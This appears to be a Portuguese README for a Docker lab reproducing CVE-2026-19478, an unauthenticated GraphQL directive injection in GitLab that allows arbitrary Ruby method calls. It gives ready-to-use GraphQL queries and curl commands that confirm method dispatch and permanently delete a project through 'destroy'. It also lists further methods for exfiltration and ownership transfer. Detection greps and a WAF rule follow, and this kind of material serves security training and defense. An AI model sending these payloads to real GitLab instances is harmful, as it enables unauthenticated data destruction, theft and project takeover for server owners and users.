
Laboratório de exploits dockerizado e script para CVE-2026-19478, uma injeção crítica de código GraphQL não autenticada no GitLab que permite chamadas arbitrárias de métodos Ruby, exclusão de projetos e exfiltração de dados.
Injeção Remota de Código sem Autenticação via Diretiva GraphQL no GitLab CE/EE — Exclua Qualquer Projeto Público com uma Única Requisição HTTP
Um laboratório prático de testes de penetração que reproduz o CVE-2026-19478, uma vulnerabilidade crítica (CVSS 9.4) na API GraphQL do GitLab. A diretiva @gl_introduced permite que atacantes não autenticados executem métodos Ruby arbitrários em objetos no lado do servidor — incluindo exclusão de projetos, exfiltração de dados e transferência de propriedade — sem nenhuma autenticação.
Este laboratório executa, em Docker, uma instância real e vulnerável do GitLab CE 19.2.0 para uma prática realista de exploração.
| Campo | Valor |
|---|---|
| ID do CVE | CVE-2026-19478 |
| Pontuação CVSS | 9.4 (Crítico) |
| Produto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo de Vulnerabilidade | Injeção de Código / Execução Arbitrária de Métodos (CWE-94) |
| Vetor de Ataque | Rede (Remoto) |
| Autenticação | Nenhuma exigida |
| Interação do Usuário | Nenhuma |
| Complexidade do Ataque | Baixa |
| Versões Afetadas | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versões Corrigidas | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Descoberto Por | hiimguardian (via HackerOne) |
| Data da Correção | 17 de agosto de 2026 |
Um atacante remoto não autenticado pode:
O GitLab usa uma diretiva GraphQL personalizada @gl_introduced(version: "X.Y") para dar suporte a implantações contínuas (rolling deployments). Quando uma versão mais recente do GitLab adiciona um campo à API GraphQL, instâncias mais antigas tratam consultas que referenciam esses novos campos de forma graciosa, retornando null em vez de gerar erro.
Arquivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Linhas 14-36)
Análise passo a passo:
O FutureFieldFilter examina as consultas GraphQL recebidas. Quando um campo possui @gl_introduced(version) com uma versão mais recente que a do servidor atual, ele remove o campo e define context[:contain_future_fields] = true.
O IntroducedTracer restaura o documento de consulta original no momento da execução, recolocando os campos removidos de volta na AST.
O FutureFieldFallback#get_field intercepta toda busca de campos durante a execução. Ele verifica três condições:
contain_future_fields está definida? ✅__? ✅Quando todas as três verificações passam, ele sintetiza um novo GraphQL::Schema::Field sem classe de resolver.
No graphql-ruby, um campo sem resolver é resolvido chamando object.public_send(field_name) no objeto Ruby subjacente — convertendo o nome do campo do atacante em uma chamada de método arbitrária no modelo Project do ActiveRecord.
A correção do GitLab substitui o despacho implícito de métodos por um NilResolver explícito que retorna nil incondicionalmente, preservando a compatibilidade com implantações contínuas e eliminando a execução arbitrária de métodos:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie para testar a API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Serviço | URL | Credenciais |
|---|---|---|
| Interface Web do GitLab | http://localhost | root / P@ssw0rd123! |
| API GraphQL | http://localhost/api/graphql | Nenhuma exigida |
| Explorador GraphQL | http://localhost/-/graphql-explorer | Login necessário |
| SSH | localhost:2222 | — |
Para máquinas com recursos limitados ou para uma inicialização mais rápida:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Verifique a versão do servidor:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Enumere os projetos públicos via GraphQL (sem autenticação):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Descubra a diretiva @gl_introduced por meio da introspecção de esquema:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Use @gl_introduced com uma versão futura em um campo que não existe no esquema:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Se vulnerável, class retorna o nome da classe Ruby ("Project"), confirmando o despacho arbitrário de métodos.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
AVISO: A ação a seguir excluirá permanentemente o projeto.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Outros métodos exploráveis no modelo Project do GitLab:
| Método | Impacto |
|---|---|
destroy | Exclui permanentemente o projeto |
archive | Arquiva o projeto |
transfer | Transfere a propriedade do projeto |
attributes | Despeja todos os atributos do banco de dados |
repository | Acessa o objeto do repositório |
members | Lista os membros do projeto |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indicador | Descrição |
|---|---|
@gl_introduced(version: "99.0") | Tentativa de exploração com versão irrealisticamente alta |
Nomes de campos: destroy, delete, update, transfer | Visando métodos destrutivos do ActiveRecord |
| Exclusões inesperadas de projetos | Projetos desaparecendo sem ação do administrador |
| Alterações de visibilidade | Projetos públicos repentinamente se tornando privados |
| Transferências de propriedade | Projetos transferidos para usuários desconhecidos |
Bloqueie requisições GraphQL que contenham @gl_introduced com números de versão altos:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced com strings de versão altas no nível do proxy reverso/WAFEste laboratório foi construído exclusivamente para educação em segurança autorizada e treinamento de testes de penetração. Ele deve ser usado somente em ambientes controlados e isolados que você possua ou para os quais tenha autorização escrita explícita para testar.
Não use as técnicas, ferramentas ou o código de exploit deste laboratório contra qualquer sistema sem a devida autorização. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo.
Os autores e contribuidores não são responsáveis por qualquer uso indevido ou dano causado por este laboratório ou seu conteúdo.
Siga @pwnsystem no Instagram para dicas diárias de cibersegurança, análises de CVEs e demonstrações passo a passo de exploits.
Conecte-se com Punit Darji no LinkedIn para insights profissionais de segurança e atualizações do laboratório.